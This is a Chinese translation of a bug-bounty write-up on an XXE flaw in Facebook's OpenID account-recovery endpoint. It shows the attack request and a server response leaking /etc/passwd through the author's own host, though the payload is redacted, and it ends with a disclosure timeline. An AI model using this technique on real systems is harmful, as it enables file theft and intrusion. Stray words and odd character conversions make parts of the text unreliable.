我如何發現Facebook服務器中的遠程代碼執行漏洞

你們好!首先我作一下自我介紹。我叫Reginaldo Silva,是一名巴西籍的計算機工程師。最近個人工做與信息安全有關,尤爲是在Web應用程序安全性的方面。若是能夠的話,我很樂意給你們演示如何入侵網站和應用程序。個人主頁上有一些相關信息,歡迎你們瀏覽。javascript

今天,我想講一下我發現一個影響Facebook的遠程漏洞代碼的過程。正如通常的故事開頭那樣,這一過程也是在很長時間之前就開始了(實際上僅僅是一年多,但我依然感受很漫長)。若是你以爲這個話題頗有趣,或者想讓我幫你在你的(或你公司的)代碼中作一些有關審查和滲透測試的安全問題,請發郵件給我。個人郵箱是 reginaldo@ubercomp.com。php

2012年的9月22日對我來講是個特別的日子,由於那天我發現了一個XML外部實體擴展(XXE)漏洞,它能影響Drupal管理OpenID的那部分功能。XML外部實體的功能很強大,它能讀文件系統中的全部文件,能鏈接任意網絡。若是你想尋求刺激,你能夠用billion laughs進行DoS攻擊。html

最開始我並無在乎其餘人也存在這樣的漏洞,當我發現時,我當即將其提交到CVE上。這是個人第一個貢獻,因此從那之後我將這條信息寫在了簡歷上(這條漏洞的編號是CVE-2012-4554)。五天後,我忽然想到OpenID的應用很廣,所以,其它地方也可能存在這樣的漏洞。我檢查了一下StackOverflow的登陸方式,發現的確存在漏洞,並且可危及整個網站。java

而後,我準備查找谷歌服務器中的OpenID 代碼。雖然我沒法打開文件,沒法進行網絡鏈接,但谷歌的應用引擎和博客平臺都很容易受到DoS攻擊。這個漏洞讓我賺到了第一桶金,大約有500美圓。node

在向谷歌報告了這個漏洞後,我又測試了幾個實例,最後發現,這個漏洞正在危及許多系統。這裏就不列舉具體內容了,可是用Java, C#, PHP, Ruby, Python, Perl等語言編寫的運行庫或多或少都存在問題。不公佈的緣由是由於這些系統實在太脆弱了。一個瞭解安全機制的人能夠讀取OpenID 和XML外部實體,而後就能一段惡意代碼進行攻擊。哎呀,我有些跑題了。web

以後我聯繫了一些編寫OpenID庫的開發者,有些做者只把安全列表託管在了OpenID基金會上面,我又給他們發了一篇題爲「一個能夠掌控一切的漏洞:運用XML外部實體實現 OpenID中的脆弱性」的郵件來講明這一問題。我想大部分庫做者都是列表中的成員,因此補丁將會發給他們每一個人。我自覺得作得很好了,事實上,我才走了一小步而已。安全

跟我常常交流的讀者依然有這樣的問題:Facebook的遠程代碼執行漏洞究竟是什麼?它居然使咱們作到這種程度。過去,Facebook使用OpenID進行登陸。然而,當我在2012年第一次發現OpenID漏洞的時候,我就找不到任何能進入任意OpenID網址的終結點。之前能夠在bash

https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false

動些手腳,如今 consumer_helper.php節點已經關閉了。一年後我覺得Facebook的安全性有所提升,但我又測試了一下忘記密碼獲得了這樣的結果:服務器

https://www.facebook.com/openid/receiver.php

那時候我開始懷疑Facebook仍是存在一年前我發現的那個漏洞的危害。而後我作了許多測試證實了這個猜測。簡言之,若是你忘記密碼了,你能夠向Facebook說明你有一個@gmail.com的郵箱,而後登陸本身郵箱後,把本身的信息提交給Facebook。這其實是用郵箱登進Facebook的,這種登陸方式就是基於OpenID的。到目前爲止,一切都進展的不錯,只是我本身遇到了些問題。我知道,因爲工做的失誤,OpenID的依賴方須要向已被控制的OpenID提供商(OP)發送一個Yadis發現請求,好比說http://www.ubercomp.com/。而後個人惡意提供商就會回覆一個惡意的XML,它被依賴方解析,從而遭受XXE攻擊。網絡

由於我沒有干預原始的OpenID請求(Facebook 與 Google之間的直接請求),實際上我沒有機會進入在我控制下的做爲OpenID標示符的網址,也沒有讓Facebook發送Yadis發現請求到這個網站。因此,我想這種錯誤應該不會發生了,除非我能獲取谷歌到Facebook的那段惡意XML,而這種可能性極低。幸運的是,我錯了。在仔細閱讀了 OpenID 2.0 規範後,第11.2節驗證發現的信息寫到:

若是聲明的標示符沒有事先告訴依賴方(「openid標識」能夠是「http://specs.openid.net/auth/2.0/identifier_select」,或是不一樣的標示符,或是OP發送的標識判斷),依賴方必須提出來,以確保該OP有權對聲稱的身份標識作出判斷。

我看了一下,openid標識果然是http://specs.openid.net/auth/2.0/identifier_select。實際上許多系統使用的都是這個。在幾分鐘後,我向 https://www.facebook.com/openid/receiver.php 發了一個請求,它可讓Facebook向一個被我控制的網站發送一個Yadis請求。以後會返回包含惡意XML的響應。 當我向Facebook服務器請求打開/dev/random,服務器不會返回響應,並且幾分鐘後請求會失效。即便如此,我仍是不能打開任意文件。我嘗試了許多XXE,包括各類組合和參數實體,但仍是一無所得。而後我忽然意識到在此過程當中是存在一些問題的,改正以後……

$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
*   Trying 31.13.75.1... connected
* Connected to www.facebook.com (31.13.75.1) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
    &context=account_recovery&protocol=http&request_id=1
    &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
    &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:

http://fb.me/p3p"

< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT; 
    path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
    function b(c) {
        for (var d in a) c[d] = a[d];
    }
    if (window.requireLazy) {
        window.requireLazy(['Env'], b);
    } else {
        Env = window.Env || {};
        b(Env);
    }
}
envFlush({
    "user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
  Bootloader.done(["ASVup"]);</script>
</head>

<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
    "\/2NZV": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
    },
    "GduTW": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
    }
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);

require("InitialJSLoader").handleServerJS({
    "require": [
        ["OnloadHooks"],
        ["lowerDomain"]
    ]
});

onloadRegister_DEPRECATED(function () {
    openid_submit_response({
        "__ar": 1,
        "error": 1428005,
        "errorSummary": "Error while processing response",
        "errorDescription": {
            "__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
        },
        "payload": null,
        "bootloadable": {},
        "ixData": []
    }, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0

沒錯,響應中包含了Facebook的/etc/passwd。如今,咱們能夠隨意訪問了。我以爲我發現了通向王國的道路。經過Facebook 服務器視圖節點可以讀取任意文件和進行網絡鏈接,視圖節點不須要代理,這但是 Facebook不惜高成本創建的。隨後我又有了新想法,以爲應該將其造成一個完整遠程執行程序。

網絡中漏洞獎勵計劃是很是好的方式,它也有本身的規則:無論什麼時候發現了漏洞,請不要猶豫。將其按程序提交,安全小組會全面考慮,並向支付相應的報酬。起初,我並不信任 Facebook的安全小組,而且認爲他們不會把我提交的漏洞看作是遠程代碼執行漏洞。我不想形成誤解,因此我決定當即提交,而後我申請了一個權限進行RCE升級。升級完畢後,它能夠正常運行。我想這應該沒什麼問題了。由於大部分漏洞都須要花很長時間來處理,我有足夠的時間升級RCE,同時我以爲我是一個優秀的白帽黑客。在寫完漏洞報告後,我決定出去走走,順便吃個午飯,回來以後繼續工做。

然而,我又錯了,由於這是一個嚴重的漏洞,吃過午餐後,我加快了速度。我把報告發出去不到2個小時,讓我既難忘又難過,但由於我知道如何升級遠程代碼執行漏洞,我將如何修復告訴了安全小組。當他們測試攻擊是否有效時,我很相信他們給出的結論。我爲個人做爲而高興。在接到一些反饋和4封郵件後,安全小組確認個人攻擊是安全的,我發現的RCE的確能影響他們的服務器。

因此這就是攻擊的入口,即我迄今發現的第一個高衝擊漏洞。它大概也是懸賞最高的漏洞之一。另外,我還能夠吹牛說我攻入了Facebook……不錯,是吧?順便說一句,安全小組的成員也寫了一篇關於這事的文章

歡迎加入Hacker News進行討論。

事件時間點

全部時間以格林威治標準時間。不重要的信息我就不提了。

  • 2013-11-19 15:51: 寫報告
  • 2013-11-19 17:37: 安全小組成員Godot感謝個人發現
  • 2013-11-19 17:46: 我獲得了能夠讀任意文件的答覆
  • 2013-11-19 19:31: 安全小組成員 Emrakul通知我短暫的修復將持續30分鐘。
  • 2013-11-19 20:27: 我確信漏洞已被修復。
  • 2013-11-21 20:03: 得到酬金。安全小組說這是他們目前支付的最高金額。
  • 2013-11-22 2:13: 我發了封郵件,詢問安全小組把漏洞看作是RCE仍是僅僅是文件泄露。
  • 2013-11-23 1:17: 安全小組回覆說,他們認爲攻擊不能升級到RCE。
  • 2013-11-23 19:54: 我解釋說明如何進行升級
  • 2013-11-24 21:23: Facebook 回覆說個人攻擊起做用了,他們會進行處理的。
  • 2013-12-03 4:45: Facebook 通知我說修復會持續一段時間,他們準備討論一個新的報酬計劃。
  • 2013-12-03 19:14: 我雙手交叉,向他們表示感謝。
  • 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan負責管理Facebook的事件響應部門,他說「若是有一個價值百萬美圓的漏洞,那麼咱們願意支付」。而後又詢問了一下他們是否有新消息。
  • 2013-12-30 4:45: Facebook通知我說漏洞已經成爲了RCE,因此費用會更高。我不會透漏具體數額,你能夠猜一猜,而後說出來。固然我也不會獲得一百萬那麼多,我引用McGeehan的話僅僅是爲了娛樂一下,不要當真。

原文:XXE in OpenID: one bug to rule them all, or how I found a Remote Code Execution flaw affecting Facebook's servers
轉載自:伯樂在線 - smilesisi

相關文章
相關標籤/搜索